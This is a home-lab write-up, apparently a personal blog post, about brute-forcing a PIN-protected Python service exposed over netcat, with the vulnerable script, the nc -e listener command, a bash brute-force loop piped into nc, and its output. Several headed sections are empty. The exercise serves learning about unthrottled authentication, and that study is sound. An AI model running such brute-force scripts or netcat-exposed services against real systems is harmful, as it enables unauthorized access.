kuze713

Cracking Pincode over Netcat

Cracking a PIN Service over Netcat

A home lab exercise simulating a vulnerable network service and defeating it with a scripted brute-force attack.

Overview

Objective Exploit a PIN-protected service exposed over the network with no rate limiting
Environment JSLinux (Alpine x86_64, in-browser VM)
Tools netcat, python3, bash
Technique Unthrottled brute-force attack over a raw TCP socket
Outcome PIN recovered, flag captured

Lab Topology

Two VMs were used on the same virtual network:


Machine 01: Host Setup

The Vulnerable Service

A minimal PIN-check program, run.py, was written to simulate a simple authentication service:

while True:
    pin = int(input("Read: "))
    if pin == 2026:  # exit condition for correct pin
        print("kuze713{hidden-information}")
        break
    print("Wrong! Try Again...")

Key weaknesses baked into the design (intentionally, for the exercise):

Identifying the Host IP

user@local:~$ ip a
...
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> ...
    inet 10.5.238.151/16 brd 10.5.255.255 scope global dynamic noprefixroute eth0

Host IP: 10.5.238.151

Exposing the Service

The script was bound to port 1234 using netcat:

user@local:~$ nc -lv -p 1234 -e python3 run.py

This turns run.py into a listening network service — anyone who connects gets piped straight into the running Python process.


Machine 02: Attacker Workflow

Step 1 — Manual Recon

First, connect manually to understand the service’s behavior:

user@kali:~$ nc 10.5.238.151 1234
Read: 1111
Wrong! Try Again...
Read: 2098
Wrong! Try Again...
Read: ^C

Findings:

This made the service an ideal candidate for brute forcing rather than manual guessing.

Step 2 — Scripting the Attack

crack.sh:

#!/bin/bash

sleep 5
for pin in {1000..3000}; do   # bruteforce range
    sleep 2                   # wait for the server to be ready for the next input
    echo "$pin" >&2           # print attempt to terminal (stderr) for visibility
    echo "$pin"               # send attempt to the server (stdout -> piped to nc)
done

How it works:

Line Purpose
sleep 5 Grace period for the initial nc connection to establish
for pin in {1000..3000} Iterates through the full candidate PIN space
sleep 2 Paces requests so the server has time to process each one
echo "$pin" >&2 Logs progress to the terminal (stderr), without touching the actual payload stream
echo "$pin" Sends the guess to stdout, which nc forwards to the server

Step 3 — Executing the Attack

user@kali:~$ bash crack.sh | nc 10.5.238.151 1234
...
Read: 2023
Wrong! Try Again...
Read: 2024
Wrong! Try Again...
Read: 2025
Wrong! Try Again...
Read: 2026
kuze713{hidden-information}
2027
2028
2029

PIN found: 2026 🏁 Flag captured: kuze713{hidden-information}

(The script kept running past the correct guess since it has no exit condition on success — harmless here, but worth noting below.)


Lessons Learned

Suggested Improvements

For the attack script:

For the vulnerable service (defensive takeaways):

References


Home lab exercise — for personal learning and documentation purposes.